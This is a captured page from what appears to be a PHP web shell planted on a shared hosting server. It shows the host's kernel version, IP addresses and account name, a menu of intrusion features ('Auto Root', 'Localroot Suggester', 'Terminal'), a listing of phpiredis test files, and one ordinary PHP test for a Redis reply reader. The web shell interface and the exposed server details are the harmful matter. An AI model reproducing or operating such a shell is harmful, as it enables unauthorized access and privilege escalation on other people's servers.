Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 18.227.21.218
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
tests /
alt-php81-phpiredis_1.0.1-1.el8 /
Delete
Unzip
Name
Size
Permission
Date
Action
client_001.phpt
283
B
-rw-r--r--
2023-05-18 13:42
client_002.phpt
321
B
-rw-r--r--
2023-05-18 13:42
client_003.phpt
510
B
-rw-r--r--
2023-05-18 13:42
client_004.phpt
389
B
-rw-r--r--
2023-05-18 13:42
client_005.phpt
378
B
-rw-r--r--
2023-05-18 13:42
client_006.phpt
534
B
-rw-r--r--
2023-05-18 13:42
client_007.phpt
445
B
-rw-r--r--
2023-05-18 13:42
client_008.phpt
651
B
-rw-r--r--
2023-05-18 13:42
client_009.phpt
425
B
-rw-r--r--
2023-05-18 13:42
client_010.phpt
469
B
-rw-r--r--
2023-05-18 13:42
client_011.phpt
466
B
-rw-r--r--
2023-05-18 13:42
reader_001.phpt
257
B
-rw-r--r--
2023-05-18 13:42
reader_002.phpt
1.07
KB
-rw-r--r--
2023-05-18 13:42
reader_003.phpt
1.17
KB
-rw-r--r--
2023-05-18 13:42
reader_004.phpt
540
B
-rw-r--r--
2023-05-18 13:42
reader_005.phpt
824
B
-rw-r--r--
2023-05-18 13:42
reader_006.phpt
1.44
KB
-rw-r--r--
2023-05-18 13:42
reader_007.phpt
951
B
-rw-r--r--
2023-05-18 13:42
reader_008.phpt
860
B
-rw-r--r--
2023-05-18 13:42
reader_009.phpt
538
B
-rw-r--r--
2023-05-18 13:42
reader_010.phpt
446
B
-rw-r--r--
2023-05-18 13:42
reader_011.phpt
571
B
-rw-r--r--
2023-05-18 13:42
reader_012.phpt
371
B
-rw-r--r--
2023-05-18 13:42
reader_013.phpt
699
B
-rw-r--r--
2023-05-18 13:42
serializer_001.phpt
240
B
-rw-r--r--
2023-05-18 13:42
serializer_002.phpt
353
B
-rw-r--r--
2023-05-18 13:42
testsuite_configuration.inc
118
B
-rw-r--r--
2023-05-18 13:42
testsuite_skipif.inc
146
B
-rw-r--r--
2023-05-18 13:42
testsuite_utilities.inc
645
B
-rw-r--r--
2023-05-18 13:42
utils_001.phpt
682
B
-rw-r--r--
2023-05-18 13:42
Save
Rename
--TEST-- [READER] Custom error handler throwing exceptions or returning objects --SKIPIF-- <?php require_once 'testsuite_skipif.inc'; --FILE-- <?php function error_handler_exception($err) { throw new Exception($err); } function error_handler_object($err) { $r = new stdClass(); $r->err = $err; return $r; } $reader = phpiredis_reader_create(); phpiredis_reader_set_error_handler($reader, 'error_handler_exception'); phpiredis_reader_feed($reader, "-ERR\r\n"); try { phpiredis_reader_get_reply($reader); var_dump(FALSE); } catch (Exception $e) { var_dump($e->getMessage() == 'ERR'); } phpiredis_reader_set_error_handler($reader, 'error_handler_object'); phpiredis_reader_feed($reader, "-ERR\r\n"); var_dump(phpiredis_reader_get_reply($reader)); --EXPECT-- bool(true) object(stdClass)#2 (1) { ["err"]=> string(3) "ERR" }